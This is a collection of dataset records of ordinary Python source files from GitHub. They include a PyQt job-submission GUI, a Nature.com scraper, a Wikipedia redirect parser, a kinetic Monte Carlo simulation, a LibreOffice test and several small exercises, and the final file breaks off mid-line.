# price = (float(cores) * float(workers)) * PRICING_CONSTANT\n\n dat = {\n \"timeslot_id\": self.select_scheme - 1,\n \"workers\": workers_cnt,\n \"cores\": cores_cnt,\n \"memory\": memory_cnt,\n \"source_files\": [source_files],\n \"input_files\": [input_files],\n \"price\": price,\n \"expected_time\": expected_time,\n \"customer_id\": \"customer_id\",\n }\n\n # find the selected frame\n if self.select_scheme == 1:\n frame = self.scheme_01_frame\n elif self.select_scheme == 2:\n frame = self.scheme_02_frame\n elif self.select_scheme == 3:\n frame = self.scheme_03_frame\n else:\n frame = self.scheme_04_frame\n\n # get text\n text = frame.get_info()\n\n from random import choices\n from string import ascii_uppercase, digits\n\n job_id = \"J\"\n job_id += \"\".join(choices(ascii_uppercase + digits, k=6))\n\n question = f\"\"\"\n Job '{job_id}' will be charged for using:\n {text[1]} per CPU/hr, {text[2]} per GPU/hr, and {text[3]} per GB/hr of memory.\n \\n\n It will run between {text[0]}.\n \n Do you want to submit this job at the aforementioned rate and time?\n \"\"\"\n\n question = Question(question, self.cxt)\n\n if question.exec_():\n res = self._api_post_call(\"/jobs\", dat)\n\n if res:\n self.signal.emit()\n\n def on_worker_edit(self):\n self._on_worker_check()\n\n def on_core_edit(self):\n self._on_core_check()\n\n def on_memory_edit(self):\n self._on_memory_check()\n\n def on_source_edit(self):\n self._on_source_check()\n\n def on_input_edit(self):\n self._on_input_check()\n\n def _submission_check(self):\n\n # clean up hint\n self.submission_hint.reset()\n\n # have to call function individually in order to raise hint\n if not self._on_worker_check():\n return False\n if not self._on_core_check():\n return False\n if not self._on_memory_check():\n return False\n if not self._on_source_check():\n return False\n if not self._on_input_check():\n return False\n\n return True\n\n def _on_worker_check(self):\n # clean up hint\n self.submission_hint.reset()\n\n class Res(Enum):\n EMPTY_ERROR = \"Please enter value of WORKER.\"\n INT_ERROR = \"Please enter an interger input\"\n SUCCESS = auto()\n\n # check if input is acceptable\n res = job_input_check(self.workers.text(), Res)\n\n if res is not Res.SUCCESS:\n self.submission_hint.setText(res.value)\n\n return False\n\n return True\n\n def _on_core_check(self):\n # clean up hint\n self.submission_hint.reset()\n\n class Res(Enum):\n EMPTY_ERROR = \"Please enter value of CORES.\"\n INT_ERROR = \"Please enter an interger input\"\n SUCCESS = auto()\n\n # check if input is acceptable\n res = job_input_check(self.cores.text(), Res)\n\n if res is not Res.SUCCESS:\n self.submission_hint.setText(res.value)\n\n return False\n\n return True\n\n def _on_memory_check(self):\n\n # clean up hint\n self.submission_hint.reset()\n\n class Res(Enum):\n EMPTY_ERROR = \"Please enter value of MEMORY.\"\n INT_ERROR = \"Please enter an interger input\"\n SUCCESS = auto()\n\n # check if input is acceptable\n res = job_input_check(self.memory.text(), Res)\n\n if res is not Res.SUCCESS:\n self.submission_hint.setText(res.value)\n\n return False\n\n return True\n\n def _on_source_check(self):\n\n # clean up hint\n self.submission_hint.reset()\n\n if self.source_file.text() is \"\":\n self.submission_hint.setText(\"Please enter a source file.\")\n return False\n return True\n\n def _on_input_check(self):\n\n # clean up hint\n self.submission_hint.reset()\n\n if self.input_file.text() is \"\":\n self.submission_hint.setText(\"Please enter a input file.\")\n return False\n return True\n\n def _api_post_call(self, endpoint: str, dat: dict):\n with Api(self.cxt, endpoint) as api:\n status, res = api.post(dat)\n return res and status == 200\n\n\nclass JobsController(JobsControllerUI):\n def __init__(self, *args, **kwargs):\n super(JobsController, self).__init__(*args, **kwargs)\n\n def on_search_edited(self):\n pass\n\n def on_refresh_button_clicked(self):\n self.reset()\n\n def on_remove_button_clicked(self):\n\n # check if table has selection\n # if it does, get the row info\n row = self.table.if_select()\n\n if row != -1:\n job_id = self.table.get_cell(row, 0)\n\n question = f\"Are you sure you want to remove {job_id} from your resources?\\n\"\n question += \"** This action cannot be undone. **\"\n\n dialog = Question(question, self.cxt)\n\n if dialog.exec_():\n res = self._api_remove_call(f\"/jobs/{self.jobs[row]['_id']}\")\n if res:\n # refresh widget\n self.reset()\n\n def _api_remove_call(self, endpoint: str):\n\n with Api(self.cxt, endpoint) as api:\n status, res = api.delete()\n\n if not res:\n return False\n\n if status == 200:\n return True\n\n if status == 500:\n return False\n\n def reset(self):\n super().reset()\n self._fetch_job_data()\n\n def _fetch_job_data(self):\n self.jobs = self._api_get_call(\"/jobs\")\n for job in self.jobs:\n self.table.add(\n [\n job[\"_id\"],\n job[\"workers\"],\n job[\"cores\"],\n job[\"memory\"],\n str(job[\"source_files\"][0] + \"...\"),\n str(job[\"input_files\"][0] + \"...\"),\n str(job[\"price\"]),\n job[\"status\"],\n \"-\",\n ]\n )\n\n def _api_get_call(self, endpoint: str):\n\n with Api(self.cxt, endpoint) as api:\n status, res = api.get()\n\n if not res:\n return []\n\n if status == 200:\n return res[\"jobs\"]\n\n if status == 500:\n return []\n","repo_name":"deepmarket/PLUTO","sub_path":"src/main/python/jobs.py","file_name":"jobs.py","file_ext":"py","file_size_in_byte":8121,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"18401826011","text":"import requests\n\nfrom bs4 import BeautifulSoup\n\nimport string\n\nimport os\n\n\ntrans_tab = str.maketrans(string.punctuation + \" \", \"_\" * len(string.punctuation) + \"_\")\nurl_root = \"https://www.nature.com\"\npage_count = int(input())\narticle_type = input()\n\nfor page_num in range(1, page_count + 1):\n url = url_root + f\"/nature/articles?searchType=journalSearch&sort=PubDate&page={page_num}\"\n req = requests.get(url)\n soup = BeautifulSoup(req.content, \"html.parser\")\n work_dir = os.getcwd() + f\"\\\\Page_{page_num}\"\n if not os.access(work_dir, os.F_OK):\n os.mkdir(work_dir)\n sp1 = soup.find_all(\"article\")\n for article in sp1:\n mt = article.find(\"span\", class_=\"c-meta__type\")\n if mt.get_text() == article_type:\n href = article.find(\"a\")\n news_file = href.get_text().replace(\"-\", \"\").strip().translate(trans_tab) + \".txt\"\n while \"__\" in news_file:\n news_file = news_file.replace(\"__\", \"_\")\n print(news_file)\n news_url = url_root + href.get(\"href\")\n req2 = requests.get(news_url)\n# print(news_url)\n# print(req2.status_code)\n if req2.status_code == 200:\n soup2 = BeautifulSoup(req2.content, \"html.parser\")\n news_content = soup2.find(\"div\", class_=\"article__body cleared\")\n if not news_content:\n news_content = soup2.find(\"article\", class_=\"Core--rootElement Theme-Story\")\n if not news_content:\n news_content = soup2.find(\"div\", class_=\"article-item__body\")\n if news_content:\n with open(work_dir + \"\\\\\" + news_file, \"w\", encoding=\"utf-8\") as file_content:\n file_content.write(news_content.text.strip())\nprint(\"Saved all articles.\")\n","repo_name":"Learem/jet-academy-python","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26633056450","text":"import json\nimport os\nimport re\nimport time\nimport xml.sax\n\ncurrent_milli_time = lambda: int(round(time.time() * 1000))\n\nRE_LINKS = re.compile(r'\\[{2}(.*?)\\]{2}', re.DOTALL | re.UNICODE)\n\nIGNORED_NAMESPACES = [\n 'wikipedia', 'category', 'file', 'portal', 'template',\n 'mediaWiki', 'user', 'help', 'book', 'draft', 'wikiProject',\n 'special', 'talk', 'image','module'\n,\"プロジェクト\"\n]\nIGNORED_NAMESPACES_JA = [\n '一覧', 'の登場'\n]\n\"\"\"MediaWiki namespaces that ought to be ignored.\"\"\"\n\nclass WikiHandler(xml.sax.ContentHandler):\n def __init__(self,title2Id,id2Title,redirects):\n self.tag = \"\"\n self.content = ''\n self.title = ''\n self.id = -1\n self.title2Id = title2Id\n self.id2Title = id2Title\n self.redirects = redirects\n self.counter_all = 0\n self.attributes = {}\n self.n = 0\n self.start = current_milli_time()\n\n # Call when an element starts\n def startElement(self, tag, attributes):\n self.tag = tag\n self.attributes = attributes\n\n # Call when an elements ends\n def endElement(self, tag):\n if tag == 'title':\n self.title = self.content.strip()\n elif tag == 'id':\n self.id = int(self.content)\n if self.title not in self.title2Id:\n self.title2Id[self.title] = self.id\n self.id2Title[self.id] = self.title\n self.counter_all += 1\n\n if self.counter_all % 1000 == 0:\n diff = current_milli_time() - self.start\n print('Pages processed: ' + str(self.counter_all) + ', avg t: ' + str(diff / self.counter_all), end='\\r')\n elif tag == 'text':\n self.n += 1\n# if not any(self.title.lower().startswith(ignore + ':') for ignore in IGNORED_NAMESPACES) and not self.title.lower().startswith('list of'):\n if not any(self.title.lower().startswith(ignore + ':') for ignore in IGNORED_NAMESPACES) and not any(ignore_ja in self.title for ignore_ja in IGNORED_NAMESPACES_JA):\n self.processArticle()\n elif tag == 'redirect' and 'title' in self.attributes:\n redirect = self.attributes['title']\n if not any(self.title.lower().startswith(ignore + ':') for ignore in IGNORED_NAMESPACES) \\\n and not any(redirect.lower().startswith(ignore + ':') for ignore in IGNORED_NAMESPACES) \\\n and not any(ignore_ja in self.title for ignore_ja in IGNORED_NAMESPACES_JA)\\\n and not any(ignore_ja in redirect for ignore_ja in IGNORED_NAMESPACES_JA):\n#and not redirect.lower().startswith('list of') \\\n# #and not self.title.lower().startswith('list of'):\n self.redirects[self.title] = redirect\n\n self.content = \"\"\n\n # Call when a character is read\n def characters(self, content):\n self.content += content\n\n def processArticle(self):\n text = self.content.strip()\n #self.title2Id[self.title] = self.id\n# if text.lower().startswith('#redirect'):\n if text.lower().startswith('#redirect') \\\n or text.startswith('#転送') \\\n or text.startswith('#リダイレクト'):\n match = re.search(RE_LINKS,text)\n if match:\n redirect = match.group(1).strip()\n pos_bar = redirect.find('|')\n if pos_bar > -1:\n redirect = redirect[:pos_bar]\n redirect = redirect.replace('_',' ')\n# if not any(redirect.lower().startswith(ignore + ':') for ignore in IGNORED_NAMESPACES) and not redirect.lower().startswith('list of'):\n if not any(redirect.lower().startswith(ignore + ':') for ignore in IGNORED_NAMESPACES) and not any(ignore_ja in redirect for ignore_ja in IGNORED_NAMESPACES_JA):\n self.redirects[self.title] = redirect\n else:\n lines = text.split('\\n')\n for line in lines:\n if not line.startswith('{{redirect|'):\n break\n else:\n line = line[11:]\n line = line[:line.find('|')]\n if len(line) > 0:\n# if not any(line.lower().startswith(ignore + ':') for ignore in IGNORED_NAMESPACES) and not line.lower().startswith('list of'):\n if not any(line.lower().startswith(ignore + ':') for ignore in IGNORED_NAMESPACES) and not any(ignore_ja in line for ignore_ja in IGNORED_NAMESPACES_JA):\n self.redirects[line] = self.title\n\nif (__name__ == \"__main__\"):\n\n title2Id = {}\n id2Title = {}\n redirects = {}\n\n config = json.load(open('config.json',encoding=\"utf8\"))\n\n wikipath = config['wikipath']\n outputpath = config['outputpath']\n dictionarypath = outputpath + 'dictionaries/'\n\n mode = 0o755\n# os.mkdir(outputpath, mode)\n os.mkdir(dictionarypath, mode)\n\n\n parser = xml.sax.make_parser()\n parser.setFeature(xml.sax.handler.feature_namespaces, 0)\n Handler = WikiHandler(title2Id,id2Title,redirects)\n parser.setContentHandler(Handler)\n parser.parse(wikipath)\n print('done')\n\n with open(dictionarypath + 'title2Id.json', 'w',encoding=\"utf8\") as f:\n json.dump(title2Id, f,indent=4,ensure_ascii=False)\n with open(dictionarypath + 'id2Title.json', 'w',encoding=\"utf8\") as f:\n json.dump(id2Title, f,indent=4,ensure_ascii=False)\n with open(dictionarypath + 'redirects.json', 'w',encoding=\"utf8\") as f:\n json.dump(redirects, f,indent=4,ensure_ascii=False)\n","repo_name":"KeithAdairOak/LING593A","sub_path":"2.WEXEA/1.title2Id_redirect_parser.py","file_name":"1.title2Id_redirect_parser.py","file_ext":"py","file_size_in_byte":5584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11320928156","text":"#Find First and Last Position of Element in Sorted Array\n\n\"\"\"Given an array of integers nums sorted in non-decreasing order, find the starting and ending position of a given target value. If target is not found in the array, return [-1, -1].\"\"\"\n\nclass Solution:\n def searchRange(self, nums: List[int], target: int) -> List[int]:\n mi = -1\n ma = -1\n for i in range(len(nums)):\n if nums[i] == target:\n mi = i\n for j in range (len(nums)-1,-1,-1):\n if nums[j] == target:\n ma = j\n l = [mi,ma]\n return l[::-1]\n","repo_name":"shrutityagi4102/myleetcodesolutions","sub_path":"4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29169150700","text":"#! /usr/bin/env python\n# -*- tab-width: 4; indent-tabs-mode: nil; py-indent-offset: 4 -*-\n#\n# This file is part of the LibreOffice project.\n#\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n#\nimport unittest\nfrom org.libreoffice.unotest import UnoInProcess\nfrom com.sun.star.beans import UnknownPropertyException\n\n\nclass TestXControlShape(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls._uno = UnoInProcess()\n cls._uno.setUp()\n\n @classmethod\n def tearDownClass(cls):\n if cls._uno:\n cls._uno.tearDown()\n\n def test_getAndSetControlShape(self):\n xDoc = self.__class__._uno.openDocFromTDOC(\"xcontrolshape.odt\")\n self.assertIsNotNone(xDoc)\n\n xDrawPage = xDoc.getDrawPage()\n self.assertIsNotNone(xDrawPage)\n\n # Date picker has control\n xShapeDatePicker = xDrawPage[0]\n self.assertIsNotNone(xShapeDatePicker)\n self.assertIsNotNone(xShapeDatePicker.getControl())\n\n # Combobox also has control\n xShapeCombo = xDrawPage[1]\n self.assertIsNotNone(xShapeCombo)\n self.assertIsNotNone(xShapeCombo.getControl())\n\n # Simple draw shape has no ControlShape\n xShapeSimple = xDrawPage[2]\n self.assertIsNotNone(xShapeSimple)\n # Shape has no XControlShape interface and we get AttributeError exception\n # during getControl() call\n with self.assertRaises(AttributeError):\n self.assertIsNone(xShapeSimple.getControl())\n\n xOldControlShape = xShapeCombo.getControl()\n\n # Combo box was a combo box and had no \"Date\" attribute\"\n with self.assertRaises(UnknownPropertyException):\n xShapeCombo.getControl().getPropertyValue(\"Date\")\n\n # We are setting new Control Shape\n xShapeCombo.setControl(xShapeDatePicker.getControl())\n\n # And we can get date with some value\n xDate = xShapeCombo.getControl().getPropertyValue(\"Date\")\n self.assertIsNotNone(xDate)\n self.assertTrue(xDate.Day > 0 and xDate.Month > 0 and xDate.Year > 0)\n\n # Return back original controlshape\n xShapeCombo.setControl(xOldControlShape)\n # ...and ensure that date no longer available\n with self.assertRaises(UnknownPropertyException):\n xShapeCombo.getControl().getPropertyValue(\"Date\")\n\n xDoc.close(True)\n\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim: set shiftwidth=4 softtabstop=4 expandtab:\n","repo_name":"LibreOffice/core","sub_path":"sw/qa/python/xcontrolshape.py","file_name":"xcontrolshape.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":2194,"dataset":"github-code","pt":"52"} +{"seq_id":"34299483908","text":"x_values = [1, 2, 3] # Some iterable x\r\nfor x in x_values:\r\n print(x * x)\r\n\r\n# instead of\r\nfor i in range(len(x_values)):\r\n print(x_values[i] * x_values[i])\r\n\r\n# enumerate\r\nletter_list = ['a', 'b', 'c']\r\nfor index, letter in enumerate(letter_list):\r\n print(f\"letter_list[{index}] = '{letter}'\")\r\n\r\n\r\n# zip\r\ndef zip_example():\r\n countries = ('Japan', 'Korea', 'China')\r\n cities = ('Tokyo', 'Seoul', 'Beijing')\r\n for country, city in zip(countries, cities):\r\n print(f'The capital of {country} is {city}')\r\n\r\n\r\n# unzip-ing\r\ndef unzip_example():\r\n full_name_list = [('Andrei', 'Dragan', 23),\r\n ('Anton', 'Bubnyak', 24),\r\n ('Flavius', 'Fischer', 25),\r\n ('Iosif', 'Szabo', 26),\r\n ('Matia', 'Opris', 27)]\r\n\r\n first_name, last_name, age = list(zip(*full_name_list))\r\n return first_name, last_name, age\r\n\r\n\r\ndef for_continue(limit):\r\n for num in range(1, limit):\r\n if num % 2 == 0:\r\n print(\"Found an even number\", num)\r\n continue\r\n print(\"Found an odd number\", num)\r\n\r\n\r\n# 'for' with break else:\r\ndef for_with_break_else(max_limit):\r\n for y in range(0, 3):\r\n print(\"y: {}\".format(y))\r\n if y == max_limit: # will be executed\r\n print(\"BREAK: y is {}\\n----------\".format(y))\r\n break\r\n else: # not executed because break is hit\r\n print(\"y_loop completed without break----------\\n\")\r\n\r\n\r\n# zip_example()\r\n# unzip_example()\r\n\r\n# for_continue(10)\r\n\r\n# for_with_break_else(1)\r\n# for_with_break_else(2)\r\n\r\n\r\n","repo_name":"Anton1107/Fasttracit-College-Python","sub_path":"for.py","file_name":"for.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15289415304","text":"import random\nimport copy\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport load\n\ndef kinetic_MC (trans_rate_matrix, pop_size, time_len, init_state=0):\n def update (cur_state, cur_time):\n state_list, rate_list = [], []\n for state, rate in trans_rate_matrix[cur_state].items():\n state_list.append(state)\n rate_list.append(rate)\n prob_list = [ float(rate)/sum(rate_list) for rate in rate_list ]\n new_state = state_list[np.random.choice(len(prob_list), 1, p=prob_list)[0]]\n new_time = cur_time + np.log(1.0/(1.0 - random.random()))/sum(rate_list)\n return new_state, new_time\n State_traces, Time_traces = [], []\n for i in range(pop_size):\n state_trace, time_trace = [init_state], [0]\n while True:\n cur_state, cur_time = state_trace[-1], time_trace[-1]\n new_state, new_time = update(cur_state, cur_time)\n state_trace.append(new_state)\n if new_time >= time_len:\n time_trace.append(time_len)\n break\n time_trace.append(new_time)\n State_traces.append(state_trace)\n Time_traces.append(time_trace)\n return State_traces, Time_traces\n\ndef pop_average (State_traces, Time_traces, state_obs, time):\n average = 0.0\n for i in range(len(State_traces)):\n idx = np.searchsorted(Time_traces[i], time, side='right') - 1\n state = State_traces[i][idx]\n obs = state_obs[state]\n average += obs\n return average / len(State_traces)\n\ndef time_average (State_traces, Time_traces, state_obs, replica):\n state_trace, time_trace = State_traces[replica], Time_traces[replica]\n average, total_time = 0.0, 0.0\n for i in range(len(time_trace)-1):\n time_step = time_trace[i+1] - time_trace[i]\n state = state_trace[i]\n obs = state_obs[state]\n average += obs*time_step\n total_time += time_step\n assert total_time == time_trace[-1]\n return average / float(total_time)\n\ndef get_dist (State_traces, Time_traces, state_num, replica=None, time=None):\n state_obs = []\n for i in range(state_num):\n obs = np.zeros(state_num)\n obs[i] = 1.0\n state_obs.append(obs)\n if replica != None and time == None:\n return time_average (State_traces, Time_traces, state_obs, replica)\n elif replica == None and time != None:\n return pop_average (State_traces, Time_traces, state_obs, time)\n else:\n return None\n\ndef display_traces (State_traces, Time_traces):\n fig = plt.figure()\n for i in range(len(State_traces)):\n state_trace = State_traces[i]\n time_trace = Time_traces[i]\n plt.plot(time_trace, state_trace)\n plt.xlabel(\"Time\")\n plt.ylabel(\"States\")\n plt.show()\n plt.close()\n return None\n\ndef uniform_trans_rate_matrix (state_num, rate, boundary='block'):\n trans_rate_matrix = {}\n for i in range(state_num):\n if i not in trans_rate_matrix:\n trans_rate_matrix[i] = {}\n if boundary == 'periodic' and i == 0:\n trans_rate_matrix[i][state_num-1] = rate\n else:\n trans_rate_matrix[i][i-1] = rate\n if boundary == 'periodic' and i == state_num - 1:\n trans_rate_matrix[i][0] = rate\n else:\n trans_rate_matrix[i][i+1] = rate\n return trans_rate_matrix\n\ndef guess_trans_rate_matrix (energy_profile, diff_const):\n state_num = len(energy_profile)\n trans_rate_matrix = {}\n for i in range(state_num):\n if i not in trans_rate_matrix:\n trans_rate_matrix[i] = {}\n if i < state_num - 1:\n trans_rate_matrix[i][i+1] = diff_const*np.exp(0.5*(energy_profile[i]-energy_profile[i+1]))\n #trans_rate_matrix[i][i+1] = diff_const\n if i > 0:\n trans_rate_matrix[i][i-1] = diff_const*np.exp(0.5*(energy_profile[i]-energy_profile[i-1]))\n #trans_rate_matrix[i][i-1] = diff_const\n return trans_rate_matrix\n\ndef modify_trans_rate_matrix (trans_rate_matrix, perted_sites, offsets = [19, 20, 21], scale=0.1):\n new_matrix = copy.deepcopy(trans_rate_matrix)\n for perted_site in perted_sites:\n for offset in offsets:\n try:\n new_matrix[perted_site+offset][perted_site+offset-1] = scale*new_matrix[perted_site+offset][perted_site+offset-1]\n except:\n pass\n try:\n new_matrix[perted_site-offset][perted_site-offset+1] = scale*new_matrix[perted_site-offset][perted_site-offset+1]\n except:\n pass\n return new_matrix\n\nref_length = 225\ndyad_axis = ref_length/2\ndyad_offset = 52\nNCP_len = 147\n\nfnames1 = [\"/home/spark159/../../media/spark159/sw/AscanlibFinal/601_before_.combined.sort\"]\nfnames2 = [\"/home/spark159/../../media/spark159/sw/AscanlibFinal/601_after_.combined.sort\"]\nControl1 = load.load_files(fnames1, ref_length, dyad_axis, dyad_offset, filter_num = 10, fill=None)['601']\nControl2 = load.load_files(fnames2, ref_length, dyad_axis, dyad_offset, filter_num = 10, fill=None)['601'] \n\n#trans_rate_matrix = guess_trans_rate_matrix (Control2.energy_profile(), 10)\n\n#state_num = ref_length\nstate_num = 100\ntrans_rate_matrix = uniform_trans_rate_matrix (state_num, rate=10, boundary='periodic')\n\nforward_list, backward_list = [] ,[]\nfor i in range(state_num):\n if i < state_num-1:\n forward = trans_rate_matrix[i][i+1]\n else:\n forward = 0.0\n forward_list.append(forward)\n if i > 0:\n backward = trans_rate_matrix[i][i-1]\n else:\n backward = 0.0\n backward_list.append(backward)\n\nfig = plt.figure()\nplt.plot(forward_list, '.')\nplt.plot(backward_list, '.')\n#plt.show()\nplt.close()\n\nst, ed = state_num/2, state_num/2 + 2\n#scale_list = [1.0 - 0.1*i for i in range(4)]\n#offset_list = [20 for i in range(4)]\n\nscale_list = [0.8 for i in range(4)]\noffset_list = [10*(i+1) for i in range(4)]\n\nmatrix_list = []\nfor i in range(4):\n scale = scale_list[i]\n offset = offset_list[i]\n new_matrix = modify_trans_rate_matrix (trans_rate_matrix, perted_sites=range(st, ed), offsets = range(offset-1, offset+2), scale=scale)\n matrix_list.append(new_matrix)\n\ndist_list = []\nfor matrix in matrix_list:\n State_traces, Time_traces = kinetic_MC (matrix, 1, 20000, init_state=state_num/2)\n dist = get_dist (State_traces, Time_traces, state_num, replica=0, time=None)\n dist_list.append(dist)\n\nfig = plt.figure()\nuniform = 1.0/state_num\nfor i in range(len(dist_list)):\n dist = dist_list[i]\n scale = scale_list[i]\n offset = offset_list[i]\n plt.plot(dist, label='scale:'+str(scale)+', offset:'+str(offset))\n plt.axhline(y=uniform, linestyle = '--', color='k', alpha=0.25)\n#plt.yscale(\"log\")\nplt.title(\"Kinetic Monte Carlo simulation\")\nplt.xlabel(\"Position\")\nplt.ylabel(\"Probability\")\nplt.ylim([0.0, uniform*3.0])\nplt.axvspan(st, ed-1, alpha=0.5, color='red')\nplt.legend()\nplt.show()\nplt.close()\n","repo_name":"spark159/slide-seq","sub_path":"kinetic_MC.py","file_name":"kinetic_MC.py","file_ext":"py","file_size_in_byte":6940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31968421369","text":"import unittest\n\nfrom AlgoX import *\n\n\nclass TestSolver(unittest.TestCase):\n def test_solve(self):\n X: set = {1,2,3,4,5,6,7}\n Y: dict = {\n 'A': [1, 4, 7],\n 'B': [1, 4],\n 'C': [4, 5, 7],\n 'D': [3, 5, 6],\n 'E': [2, 3, 6, 7],\n 'F': [2, 7]\n }\n \n # Transform X into the correct form\n X = {j: set() for j in X}\n for i in Y:\n for j in Y[i]:\n X[j].add(i)\n\n expected_solution: list = ['B', 'D', 'F']\n actual_solution: list = solve(X, Y, [])\n\n self.assertEqual(expected_solution, [choice for choice in actual_solution])\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"lucasereynolds/sudoku-solver","sub_path":"AlgoXTests.py","file_name":"AlgoXTests.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5252005618","text":"# importing csv for error tracking\r\nimport csv\r\n\r\ndef logErrorsInCSV(classifier,filename):\r\n\r\n eval = classifier.evaluate()\r\n print(eval.get_stats()['stats_overall']['accuracy'])\r\n\r\n # writing incorrect results to .csv file\r\n out = csv.writer(open(filename,\"w\"), delimiter=';',quoting=csv.QUOTE_ALL)\r\n out.writerows(list(eval.incorrect_results()))","repo_name":"ptrckhmmr/ChatBot-for-cultural-institutions","sub_path":"Chatbot_DockerVersion/webapp/app/utilities/train/logErrors.py","file_name":"logErrors.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"70007546084","text":"import time\r\n\r\nfrom pageObjects.CheckoutPage import CheckoutPage\r\nfrom pageObjects.LoginPage import LoginPage\r\nfrom pageObjects.ProductPage import ProductPage\r\nfrom utilities.BaseClass import BaseClass\r\n\r\n\r\nclass TestLoginPage(BaseClass):\r\n def test_login(self):\r\n loginpage = LoginPage(self.driver)\r\n loginpage.getusername().send_keys(\"standard_user\")\r\n loginpage.getpassword().send_keys(\"secret_sauce\")\r\n loginpage.Login()\r\n time.sleep(5)\r\n\r\n def test_addtoCart(self):\r\n productpage = ProductPage(self.driver)\r\n productpage.Addtocart()\r\n productpage.Shoppinglink()\r\n time.sleep(5)\r\n\r\n def test_check(self):\r\n checkoutpage = CheckoutPage(self.driver)\r\n checkoutpage.Checkout()\r\n time.sleep(5)\r\n checkoutpage.getFirstname().send_keys(\"Megha\")\r\n checkoutpage.getLastname().send_keys(\"DD\")\r\n checkoutpage.getZipcode().send_keys(\"422210\")\r\n checkoutpage.Submit()\r\n checkoutpage.Finish()\r\n alertText = checkoutpage.getSuccessMessage().text\r\n print(alertText)\r\n\r\n assert (\"Thank you\" in alertText)\r\n time.sleep(5)\r\n\r\n","repo_name":"MeghaD7/AdvariskProject-MeghaD","sub_path":"E2EpythonProject/tests/E2Etest case.py","file_name":"E2Etest case.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17423491662","text":"import datetime\nimport time\nimport threading\n\nimport data\nimport parse\n\n\ndef convert_date_from_google_drive(time_str: str):\n\n cur_time = time_str.split('.')[0]\n cur_time = datetime.datetime.strptime(cur_time, \"%Y-%m-%dT%H:%M:%S\")\n return cur_time\n\n\nclass TimeChecker:\n\n def __init__(self, database):\n\n self.database = database\n\n self.drive = parse.Drive()\n self.last_time_update_students = convert_date_from_google_drive(\n self.drive.get_modified_date(data.SPREADSHEET_STUDENTS_ID))\n\n self.last_time_update_contents = convert_date_from_google_drive(\n self.drive.get_modified_date(data.SPREADSHEET_CONTENTS_ID))\n\n self._content_updated = False\n self._students_updated = False\n\n self.end = False\n\n def time_check(self):\n\n while not self.end:\n cur_time_update_students = convert_date_from_google_drive(\n self.drive.get_modified_date(data.SPREADSHEET_STUDENTS_ID))\n\n cur_time_update_contents = convert_date_from_google_drive(\n self.drive.get_modified_date(data.SPREADSHEET_CONTENTS_ID))\n\n if cur_time_update_students > self.last_time_update_students:\n\n print(\"Таблица со студентами изменена\")\n print(\"Загрузка бд...\")\n\n self.database.load_to_base_students()\n\n new_students_info = self.database.read_info_students()\n cur_chats_info = self.database.read_chats_info()\n\n update_info = {}\n for chat_id, info in cur_chats_info.items():\n\n new_info = info.copy()\n\n for student in new_students_info:\n if info['name'] == student[0] and info['class_group'] == str(student[1]) + student[2]:\n new_info['group'] = student[3]\n break\n\n update_info[chat_id] = new_info\n\n self.database.chats_update(update_info)\n\n self.last_time_update_students = cur_time_update_students\n print(\"Загрузка бд завершена\")\n self._students_updated = True\n\n if cur_time_update_contents > self.last_time_update_contents:\n try:\n print(\"Таблица с конетентом изменена\")\n self.last_time_update_contents = cur_time_update_contents\n print(\"Загрузка бд....\")\n self.database.load_to_base_content()\n print(\"Загрузка бд завершена\")\n self._content_updated = True\n except:\n print(\"Не удалось обновить контент\")\n\n time.sleep(15)\n return 0\n\n def content_is_updated(self):\n\n result = self._content_updated\n if result:\n print(\"Изменение контента замечено\")\n self._content_updated = False\n return result\n\n def students_is_updated(self):\n print(\"Изменение студентов замечено\")\n result = self._students_updated\n self._students_updated = False\n return result\n\n def start(self):\n\n thread = threading.Thread(target=self.time_check, daemon=True)\n thread.start()\n","repo_name":"NoShame0/school","sub_path":"bot/check_update.py","file_name":"check_update.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8899422441","text":"import tasks\n\n\ndef validate_manifest(data, validator, error):\n\timport os.path\n\tschema_path = os.path.join(os.path.dirname(__file__), 'manifest-schema.yml')\n\tvalidator(data, schema_path)\n\tif data['plugins']['minimize_size'].get('shrink', False) and data['volume']['backing'] != 'vmdk':\n\t\terror('Can only shrink vmdk images', ['plugins', 'minimize_size', 'shrink'])\n\n\ndef resolve_tasks(taskset, manifest):\n\ttaskset.update([tasks.AddFolderMounts,\n\t tasks.RemoveFolderMounts,\n\t ])\n\tif manifest.plugins['minimize_size'].get('zerofree', False):\n\t\ttaskset.add(tasks.AddRequiredCommands)\n\t\ttaskset.add(tasks.Zerofree)\n\tif manifest.plugins['minimize_size'].get('shrink', False):\n\t\ttaskset.add(tasks.AddRequiredCommands)\n\t\ttaskset.add(tasks.ShrinkVolume)\n\n\ndef resolve_rollback_tasks(taskset, manifest, completed, counter_task):\n\tcounter_task(taskset, tasks.AddFolderMounts, 